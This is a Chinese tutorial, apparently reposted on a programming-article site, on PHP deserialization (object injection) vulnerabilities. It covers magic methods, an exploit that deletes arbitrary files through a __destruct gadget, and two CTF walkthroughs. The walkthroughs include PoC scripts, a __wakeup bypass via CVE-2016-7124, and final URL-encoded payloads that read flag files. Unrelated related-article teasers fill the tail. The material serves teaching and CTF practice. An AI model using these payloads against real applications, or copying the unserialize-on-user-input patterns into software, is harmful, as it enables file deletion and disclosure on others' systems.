php反序列化漏洞 freebuf,最全的PHP反序列化漏洞的理解和应用

原创：f1r3K0

php反序列化漏洞，又叫php对象注入漏洞，是一种常见的漏洞，在我们进行代码审计以及CTF中经常能够遇到。

01学习前最好提前掌握的知识PHP类与对象(https://www.php.net/manual/zh/language.oop5.php)

PHP魔术方法(https://secure.php.net/manual/zh/language.oop5.magic.php)

serialize()

(http://php.net/manual/zh/function.serialize.php)

与unserialize()

(http://php.net/manual/zh/function.unserialize.php)

02序列化与反序列化

PHP (从 PHP 3.05 开始)为保存对象提供了一组序列化和反序列化的函数：serialize、unserialize。

serialize()

当我们在php中创建了一个对象后，可以通过serialize()把这个对象转变成一个字符串，用于保存对象的值方便之后的传递与使用。测试代码如下；

classpeople

{

public$name ="f1r3K0";

public$age ='18';

}

$class =newpeople();

$class_ser = serialize($class);

print_r($class_ser);

?>

测试结果：

O:6:"people":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}注意这里的括号外边的为大写英文字母O下面是字母代表的类型 a - array 数组 b - boolean布尔型 d - double双精度型 i - integer o - common object一般对象 r - reference s - string C - custom object 自定义对象 O - class N - null R - pointer reference U - unicode string unicode编码的字符串

unserialize()

与 serialize() 对应的，unserialize()可以从序列化后的结果中恢复对象(object)，我们翻阅PHP手册发现官方给出的是：unserialize — 从已存储的表示中创建 PHP 的值。

我们可以直接把之前序列化的对象反序列化回来来测试函数，如下：

classpeople

{

public$name ="f1r3K0";

public$age ='18';

}

$class =newpeople();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unse

r);

?>

93847674bcf37ebc51f4cc381361f287.png提醒一下，当使用 unserialize() 恢复对象时， 将调用 __wakeup() 成员函数。(先埋个伏笔，这个点后面会提)

03反序列化漏洞

由前面可以看出，当传给 unserialize() 的参数可控时，我们可以通过传入一个"精心”构造的序列化字符串，从而控制对象内部的变量甚至是函数。

利用构造函数等

Magic function

php中有一类特殊的方法叫“Magic function”，就是我们常说的"魔术方法" 这里我们着重关注一下几个：__construct()：构造函数，当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__destruct()：析构函数，类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行，当对象被销毁时会自动调用。

__wakeup()：如前所提，unserialize()时会检查是否存在 __wakeup()，如果存在，则会优先调用 __wakeup()方法。

__toString():用于处理一个类被当成字符串时应怎样回应，因此当一个对象被当作一个字符串时就会调用。

__sleep():用于提交未提交的数据，或类似的清理操作，因此当一个对象被序列化的时候被调用。

测试如下：

classpeople

{

public$name ="f1r3K0";

public$age ='18';

function__wakeup()

{

echo"__wakeup()";

}

function__construct()

{

echo"__consrtuct()";

}

function__destruct()

{

echo"__destruct()";

}

function__toString()

{

echo"__toString";

}

/*function __sleep()

{

echo "__sleep";

}*/

}

$class =newpeople();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unser);

?>

结果如下：

2de1809bac327962e7aaee61feea6e20.png从运行结果来看，我们可以看出unserialize函数是优先调用"__wakeup()"再进行的反序列化字符串。同时，对于其他方法的调用顺序也一目了然了。(注意：这里我将sleep注释掉了，因为sleep会在序列化的时候调用，因此执行sleep方法就不会再执行序列以及之后的操作了。)

利用场景

__wakeup()和destruct()

由前可以看到，unserialize()后会导致wakeup() 或destruct()的直接调用，中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中，从而当我们控制序列化字符串时可以去直接触发它们。我们这里直接使用参考文章的例子，代码如下：

//logfile.php 删除临时日志文件

classLogFile{

//log文件名

public$filename ='error.log';

//存储日志文件

publicfunctionLogData($text) {

echo'Log some data:'. $text .'
';

file_put_contents($this->filename, $text, FILE_APPEND);

}

//Destructor删除日志文件

publicfunction__destruct() {

echo'__destruct delete'. $this->filename .'file.
';

unlink(dirname(__FILE__) .'/'. $this->filename);//删除当前目录下的filename这个文件

}

}

?>

//包含了’logfile.php’的主页面文件index.php

classUser{

//属性

public$age =0;

public$name ='';

//调用函数来输出类中属性

publicfunctionPrintData() {

echo'User'. $this->name .'is'. $this->age .'years old.
';

}

}

$usr = unserialize($_GET['user']);

?>

梳理下这2个php文件的功能，index.php是一个有php序列化漏洞的主业文件，logfile.php的功能就是在临时日志文件被记录了之后调用__destruct方法来删除临时日志的一个php文件。 这个代码写的有点逻辑漏洞的感觉，利用这个漏洞的方式就是，通过构造能够删除source.txt的序列化字符串，然后get方式传入被反序列化函数,反序列化为对象，对象销毁后调用__destruct()来删除source.txt.

漏洞利用exp<?php

include'logfile.php';

$obj =newLogFile();

$obj->filename ='source.txt';//source.txt为你想删除的文件

echo serialize($obj) .'
';

?>

这里我们通过['GET']传入序列化字符串，调用反序列化函数来删除想要删除的文件。

f3c01bfe95dbf4938913bf5cbc514be8.png

之前还看到过一个wakeup()非常有意思的例子，这里直接上链接了

chybeta浅谈PHP反序列化 https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/

04其它magic function的利用

这里我就结合PCTF和今年国赛上的题来分析了

PCTF

题目链接：(http://web.jarvisoj.com:32768/index.php)前面几步都是很常见的读文件源码

这里直接放出给的两个源码//index.php

require_once('shield.php');

$x =newShield();

isset($_GET['class']) && $g = $_GET['class'];

if(!empty($g)) {

$x = unserialize($g);

}

echo $x->readfile();

?>

上边index.php提示了包含的shield.php所以说直接构造base64就完事了//shield.php

//flag is in pctf.php

classShield{

public$file;

function__construct($filename ='') {

$this -> file = $filename;

}

functionreadfile() {

if(!empty($this->file) && stripos($this->file,'..')===FALSE

&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {

return@file_get_contents($this->file);

}

}

}

index.php 1.包含了一个shield.php 2.实例化了Shiele方法 3.通过[GET]接收了用户反序列化的内容，输出了readfile()方法

shield.php 1.首先就能发现file是可控的(利用点) 2.construct()在index中实例化的时候就已经执行了，因此不会影响我们对可控$file的利用。

构造poc<?php

classShield

{

public$file ="pctf.php";

}

$flag =newShield();

print_r(serialize($flag));

?>最终poc:

c8c93e3969b5c5c6c0fd423131cafa94.png

最终POC

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

ciscn2019 web1- JustSoso

读源码的过程省略//index.php

error_reporting(0);

$file = $_GET["file"];

$payload = $_GET["payload"];

if(!isset($file)){

echo'Missing parameter'.'
';

}

if(preg_match("/flag/",$file)){

die('hack attacked!!!');

}

@include($file);

if(isset($payload)){

$url = parse_url($_SERVER['REQUEST_URI']);

parse_str($url['query'],$query);

foreach($queryas$value){

if(preg_match("/flag/",$value)) {

die('stop hacking!');

exit();

}

}

$payload = unserialize($payload);

}else{

echo"Missing parameters";

}

?>

classHandle{

private$handle;

publicfunction__wakeup(){

foreach(get_object_vars($this)as$k => $v) {

$this->$k =null;

}

echo"Waking up\n";

}

publicfunction__construct($handle) {

$this->handle = $handle;

}

publicfunction__destruct(){

$this->handle->getFlag();

}

}

classFlag{

public$file;

public$token;

public$token_flag;

function__construct($file){

$this->file = $file;

$this->token_flag=&$this->token;

}

publicfunctiongetFlag(){

$this->token_flag = md5(rand(1,10000));

if($this->token === $this->token_flag)

{

if(isset($this->file)){

echo@highlight_file($this->file,true);

}

}

}

}

其实刚开始做的时候是很懵逼了，一直在纠结爆破md5上边。22233333

1.首先我们需要绕的就是 $url=parse_url($_SERVER['REQUEST_URI']);使得 parse_str($url['query'],$query); 中query解析失败，这样就可以在payload里出现flag，这里应该n1ctf的web eating cms的绕过方式，添加 ///index.php绕过。

2.接下来就是需要我们绕过wakeup()里的将$k赋值为空的操作，这里用到的是一枚cve 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

3.绕md5这里用到了PHP中引用变量的知识

https://blog.csdn.net/qq_33156633/article/details/79936487

简单来说就是，当两个变量指向同一地址时，例如： $b=&$a,这里的 $b指向的是 $a的区域，这样b就随着a变化而变化，同样的原理，我们在第二步序列化时加上这一步$b =newFlag("flag.php");

$b->token=&$b->token_flag;

$a =newHandle($b);

这样最后的token就和token_flag保持一致了。

最后的POC<?php

classHandle

{

private$handle;

publicfunction__wakeup()

{

foreach(get_object_vars($this)as$k => $v)

{

$this->$k =null;

}

echo"Waking upn";

}

publicfunction__construct($handle)

{

$this->handle = $handle;

}

publicfunction__destruct()

{

$this->handle->getFlag();

}

}

classFlag

{

public$file;

public$token;

public$token_flag;

function__construct($file)

{

$this->file = $file;

$this->token_flag = $this->token = md5(rand(1,10000));

}

publicfunctiongetFlag()

{

if(isset($this->file))

{

echo@highlight_file($this->file,true);

}

}

}

$b =newFlag("flag.php");

$b->token=&$b->token_flag;

$a =newHandle($b);

echo(serialize($a));

?>

29b3944ef76078ee9c74e15b032fe48a.png

这里还有一个点就是我们需要用%00来补全空缺的字符，又因为含有private 变量，需要 encode 一下。

最终payload：

?file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

05利用普通成员方法

前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中，就不能指望通过“自动调用”来达到目的了。这时我们需要去寻找相同的函数名，把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的，层层递进，最终去构造出一个有杀伤力的payload。

参考文章

https://www.cnblogs.com/Mrsm1th/p/6835592.html

http://p0desta.com/2018/04/01/php反序列化总结/

http://whc.dropsec.xyz/2017/06/15/PHP反序列化漏洞理解与利用/

https://p0sec.net/index.php/archives/114/

相关操作学习：

PHP反序列化漏洞实验：明白什么是反序列化漏洞，漏洞成因以及如何挖掘和预防此类漏洞。http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001开始操作！

f7abc2c073aa532b535bd35331d0cbe4.png本文为合天原创，未经允许，严禁装载。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/506709.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

php按数字分页类,PHP简单实现数字分页功能示例

php按数字分页类,PHP简单实现数字分页功能示例

本文实例讲述了PHP简单实现数字分页功能。分享给大家供大家参考&#xff0c;具体如下&#xff1a;header ( Content-Type: text/html; charsetutf-8 );//分页$page$_GET[page];$allcount 100;$page_size 10;$page_show 5;$page_count ceil($allcount/$page_size);if($page <…
阅读更多...
php 瀑布流布局,CSS3实现瀑布流布局的方法

php 瀑布流布局,CSS3实现瀑布流布局的方法

这次给大家带来CSS3实现瀑布流布局的方法&#xff0c;CSS3实现瀑布流布局的注意事项有哪些&#xff0c;下面就是实战案例&#xff0c;一起来看一下。以前使用瀑布流都要用js&#xff0c;现在有了css3&#xff0c;可以轻松实现了。掌握点&#xff1a;1、column-count 把p中的文本…
阅读更多...
php 文章列表,ThinkPHP初学者：主页，获取一个文章列表

php 文章列表,ThinkPHP初学者：主页，获取一个文章列表

在之前的文章&#xff0c;已经实现了注册登录的功能&#xff0c;主要熟悉TP与HTML、JS交互&#xff0c;数据库的基本操作等。接下来就要登录到主页&#xff0c;熟悉一下列表的处理&#xff0c;以及数据库多表联查操作。为了简化模型&#xff0c;列表的字段仅有文章标题、简介、…
阅读更多...
php js登录,php+js实现单点登录

php js登录,php+js实现单点登录

phpjs实现单点登录2020年08月14日 00:45:23阅读数&#xff1a;110登录信息表DROP TABLE IF EXISTS fly_admin_login_info;CREATE TABLE fly_admin_login_info (id int(11) unsigned NOT NULL AUTO_INCREMENT,admin_id int(11) unsigned DEFAULT NULL,email varchar(80) DEFAULT…
阅读更多...
android jni java调用c,Android与JNI(一) ---- Java调用C 静态调用

android jni java调用c,Android与JNI(一) ---- Java调用C 静态调用

第一、通过eclipse新建一个工程名为HelloJni的android工程&#xff0c;并编译。第二、右键工程-->Android Tools --> Add Native Support,出现如下界面&#xff0c;名字默认就可以了&#xff0c;点击finish。第三、我们在MainActivity类中加入要调用的native代码public n…
阅读更多...
c语言程序综合实习学生成绩,C语言程序设计综合实习报告

c语言程序综合实习学生成绩,C语言程序设计综合实习报告

课题一&#xff1a;用指针优化学生成绩排名一、目的1&#xff0e;熟悉变量的指针和指向变量的的指针变量的概念和使用2&#xff0e;熟悉数组的指针和指向数组的的指针变量的概念和使用3. 掌握冒泡法或选择法排序的算法4. 掌握函数的定义、调用、声明&#xff0c;以及参数的两种…
阅读更多...
c语言求最多啤酒数,C语言，算法、动态规划:有一个箱子的容量为v(正整数，0=v=20000),同时有n个物品(0n=30)，...

c语言求最多啤酒数,C语言，算法、动态规划:有一个箱子的容量为v(正整数，0=v=20000),同时有n个物品(0n=30)，...

满意答案24k纯真爱l2013.11.07采纳率&#xff1a;42% 等级&#xff1a;12已帮助&#xff1a;9552人#include#define N 30int xiangzi(int n ,int V ,int a[]) //楼主后面的Vo数组必须放进递归函数里面或定义成全局数组 另外h[n]什么情况??{int minv,t,mV;if(n0){if(a[n]&l…
阅读更多...
c语言休眠函数useconds类型,带你了解C语言中的Sleep函数（附代码）

c语言休眠函数useconds类型,带你了解C语言中的Sleep函数（附代码）

Sleep函数:功 能: 执行挂起一段时间用 法:unsigned sleep(unsigned seconds);注意:在VC中使用带上头文件#include ,在Linux下,gcc编译器中&#xff0c;使用的头文件因gcc版本的不同而不同#include 在VC中,Sleep中的第一个英文字符为大写的"S" ,在linux下不要大写&…
阅读更多...
android 环绕布局,Android自定义View实现圆形环绕效果

android 环绕布局,Android自定义View实现圆形环绕效果

之前项目中需要实现一个四周环绕中心圆形头像的效果&#xff0c;感觉还是自定义比较方便&#xff0c;于是就自己封装了一个控件去实现。先贴张图显示最终效果。首先自定义一个View继承自LinearLayout,通过动态添加childView的方式将子控件添加到View中。思路是先添加中间圆形头…
阅读更多...
android 高德地图 sh1,百度、高德地图获取发布版（Release）SHA1

android 高德地图 sh1,百度、高德地图获取发布版（Release）SHA1

一、简介&#xff1a;在百度、高德地图开发中&#xff0c;申请key的时候&#xff0c;要两个版本的sha1值。一个是开发版(debug)&#xff0c;一个是发布版(release)。debug版本的sha1比较好获取&#xff0c;网上资料一堆&#xff0c;这里引用一下&#xff0c;就不再重复写了。最…
阅读更多...
html前台检验特殊字符正则,【Qt编程】html特殊字符及正则表达式

html前台检验特殊字符正则,【Qt编程】html特殊字符及正则表达式

1、html特殊字符的显示我们知道html语言和C语言一样也有一些特殊字符&#xff0c;它们是不能正常显示的&#xff0c;必须经过转义&#xff0c;在网上可以查到如何显示这些字符&#xff0c;如下图所示&#xff1a;上图给了最常用的特殊字符的显示&#xff0c;下面我们来实验一下…
阅读更多...
html 变量类型强制转换,html、js前台数据传到后台，spring复杂类型转换

html 变量类型强制转换,html、js前台数据传到后台，spring复杂类型转换

html、js前台数据传到后台&#xff0c;spring复杂类型转换如果我有两个变量&#xff0c;变量名不一样&#xff0c;处理的规则也不一样&#xff0c;但是他们都是Date.class 类型&#xff0c; 这可怎么破。比如&#xff1a;InitBinderpublic void bindingPreparation(WebDataBind…
阅读更多...
html盒模型中border的写法,HTML+css盒子模型案例(圆，半圆等)“border-radius” 简单易上手...

html盒模型中border的写法,HTML+css盒子模型案例(圆，半圆等)“border-radius” 简单易上手...

很多小伙伴在前端学习的时候&#xff0c;发现盒子模型默认为正方形。如何把盒子变成想要的模型呢&#xff1f; 首先我们来看一下默认的情况----.box{width: 100px;height: 100px;background-color: rgb(116, 51, 51);box-shadow:0 10px 10px red;text-align: center;position:a…
阅读更多...
希捷银河声音大_每日观影之银河守门员（ ）

希捷银河声音大_每日观影之银河守门员（ ）

#银河守门员Вратарь Галактики#真心不错的科幻大片…尤其这剧情故事实在是俄国电影的一个很有突破性的亮点…基本可以说全方面凸显了俄罗斯的国情…比如高大上的部分完全不输欧美甚至有所超越领先都是要拯救世界而且还很壮烈拼搏的样子…然而百姓生活却显得很窘…
阅读更多...
bat循环执行带参数_wxappUnpacker的bingo.bat脚本逐行解读

bat循环执行带参数_wxappUnpacker的bingo.bat脚本逐行解读

点击上方“蓝字”关注我们之前发过一篇文章小程序反编译工具在windows系统下的调用脚本提到了Windows平台下的脚本&#xff0c;但是对脚本没有做详细说明。本文就是针对脚本做的讲解。对批处理感兴趣的可以了解下。不会基础也没关系。下面我们进入正题。脚本解读第1行&#xff…
阅读更多...
定值保险计算举例_保险公司的“开门红”又要来了！理财险真的值得买吗？

定值保险计算举例_保险公司的“开门红”又要来了！理财险真的值得买吗？

临近年末&#xff0c;各家保险公司都开始备战2020年的“开门红”。对于保险公司来说&#xff0c;“开门红全年红”&#xff0c;只要开门红的任务完成得好&#xff0c;那么今年大半年的保费就不用担心了&#xff0c;因此保险公司们对于这一战都十分重视。如果说“双11”、“双12…
阅读更多...
html中post语句,html中post乱码的解决方法

html中post语句,html中post乱码的解决方法

html中post乱码的解决方法发布时间&#xff1a;2021-05-27 11:29:00来源&#xff1a;亿速云阅读&#xff1a;91作者&#xff1a;小新这篇文章主要介绍html中post乱码的解决方法&#xff0c;文中介绍的非常详细&#xff0c;具有一定的参考价值&#xff0c;感兴趣的小伙伴们一定要…
阅读更多...
泸州田家炳中学2021高考成绩查询,2021年泸州中考线出来了吗

泸州田家炳中学2021高考成绩查询,2021年泸州中考线出来了吗

中考是人们升高中的必经之路&#xff0c;它虽然没有高考那样振奋人心&#xff0c;但是对于当时的人来说也算是一场最正规的考试。首先&#xff0c;不可否认的是中考是很重要的。虽然它不能对高考有着直接影响&#xff0c;但是却有着间接影响。在每年的六份左右出来。中考是很重…
阅读更多...
django返回指定html文件,Django返回HTML文件的实现方法

django返回指定html文件,Django返回HTML文件的实现方法

前面我们简单的了解Django的一些工作原理&#xff0c;其中关于页面展示的内容&#xff0c;也全部都是视图(Views)返回的内容&#xff0c;那么我们也知道前端包括很多内容。如&#xff1a;HTML&#xff0c;CSS&#xff0c;JavaScript等以及各种插件&#xff0c;才具备完全的页面…
阅读更多...
计算机网络纠错码,计算机网络：纠错

计算机网络纠错码,计算机网络：纠错

本文概述当数据从发送方发送到接收方时, 纠错码用于检测和纠正错误。纠错可以通过两种方式处理&#xff1a;向后纠错&#xff1a;发现错误后, 接收方会请求发送方重新传输整个数据单元。前向纠错&#xff1a;在这种情况下, 接收器使用纠错码自动纠正错误。单个附加位可以检测到…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023